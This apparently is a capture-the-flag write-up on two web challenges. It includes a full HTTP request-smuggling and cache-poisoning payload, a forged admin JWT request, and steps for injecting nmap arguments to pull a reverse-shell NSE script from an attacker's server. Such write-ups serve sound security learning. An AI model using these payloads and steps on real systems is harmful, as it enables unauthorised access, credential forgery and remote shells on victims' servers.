The HTTP server in use is Gunicorn, version 20.1.0, which has known HRS issues as reported here.
Summary
The infrastructures include a web cache, a nginx proxy server, a gunicorn http server and the Flask application. The order in which I’ve introduced these components also reflects the sequence in which a client request is processed.
For the web cache, the cache keys are http request method and request line. The request is forwarded to Nginx in its entirety, with a few exceptions.
1、The request headers of “Transfer-Encoding”, “Expect” and “Forwarded” will be removed. However, this can be bypassed by altering the case of characters in these headers.
1 2 3 4 5
// These are unsupported. Let's ignore them. headersToRemove := [5]string{"Transfer-Encoding", "Expect", "Forwarded"} for _, h := range headersToRemove { delete(headers, h) }
2、The request body will only be sent to nginx according to the length of the Content-Length header. The web cache will ignore the http body if there is no Content-Length header.
The Flask application is just a blog website. Users can sign up their account and post something on the blog. There is a possible way to exploit XSS at the blog template in which the array of post is controllable by users.
1 2 3
# post.html
{{ post[0] | safe }}{{ post[1] }}
Most important, the flag is served at the endpoint of ‘/admin/flag’. To get it, an effective JWT token is necessary. In the JWT verification process, the application first get users’ JWK from the fixed endpoint ‘/{user_id}/.well-known/jwks.json’, and then use the JWK to verify the signature of users’ JWT.
Our first step should be to replace our JWK with a controllable one, then sign the JWT with the private key we created. This process involves modifying the “user” value in the JWT to “admin”. Finally get the flag from the endpoint of /admin/flag.
Exploitation guess
To that point, we can combine HTTP request smuggling and HTTP cache poisoning attacks to cache the /{user_id}/.well-known/jwks.json’ with our self-crafted content.
However, I encountered challenges in implementing HRS on the target. I tried all the exploitation methods on the blog above, but it didn’t work.
GET /{user_id}/.well-known/jwks.json ../../../../{user_id}/{post_id}
#Leveraging http/0.9 and file traversal. Do notice that the http response in HTTP 0.9 doesn't have http response header. So you need to craft http response header in your payloads.
GET /just_random_cache_key HTTP/1.1 Host: localhost Content-Length: 106 transfer-encoding: chunked
0
GET /post/63d71c38-8aac-4463-84df-93973029c93c/210bef4b-c993-4cb2-a7b9-1769ed3af21b HTTP/1.1 Dummy: GET /623d171c38-8aac-4463-84df-93973029c93c/.well-known/jwks.json HTTP/1.1 Host: localhost (a blank line here)
To elaborate, the cache recognizes the end of the request body based solely on the Content-Length header, whereas Nginx and Gunicorn process the request body according to the Transfer-Encoding and disregard the Content-Length header, which leads to the rcache record two cache key GET /just_random_cache_key and /623d171c38-8aac-4463-84df-93973029c93c/.well-known/jwks.json, while nginx and gunicorn see the second request as the uri /post/63d71c38-8aac-4463-84df-93973029c93c/210bef4b-c993-4cb2-a7b9-1769ed3af21b different from what the rcache saw. Finally, this kind of discrepancy leads to HTTP request smuggling.
b =requests.get(url+f"/{user_id}/.well-known/jwks.json") headers = {"Authorization" : "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.bLHThpy3ZL1uIJNarMluJgOwkn79CS-_6GHecDByxe_Fl-Z1-y5U4fcsGgRLRBU5PVWQCefpzjtm1Kdc4dgxWbsO0lpCHwdm5Qeaqhe6eLxiBpQH_Un0OSMY2SHhjmiXlNFSDyDgpXUSemGnTnQR47K_V9h50cM8_IIx1Lbzs4w"} print(s.get(url+"/admin/flag", headers=headers).text)
Scanner Service
This challenge involves command injection and Nmap script exploitation. It features a Ruby web application that obtains IP:PORT from user input and then passes it to the Nmap command nmap -p PORT(controllable point) IP.
Additionally, the application implements a filter for user input, escaping special characters, including:
1
space, $ ` " \ | & ; < > ( ) ' \n *
Typically, injecting new Bash commands is challenging due to the strict filter. However, we can use %09 (tab character) to replace spaces and inject new parameters, so that leveraging nmap script making it possible to execute arbitrary commands. This requires two steps:
1、Launch a http server at your remote server, just using the command php -S 0.0.0.0:80 , and serve a reverse shell NSE script in the root directory of the PHP HTTP server you’ve just set up. For the reverse shell nse script, you can download from here.
2、Use the http-fetch script to download malicious nse script from our remote server. In this example, the nse script will be saved in the directory of /tmp/OUR_REMOTE_SERVER_IP/PORT/ at the vulnerable server. The tips from the project gtfobins.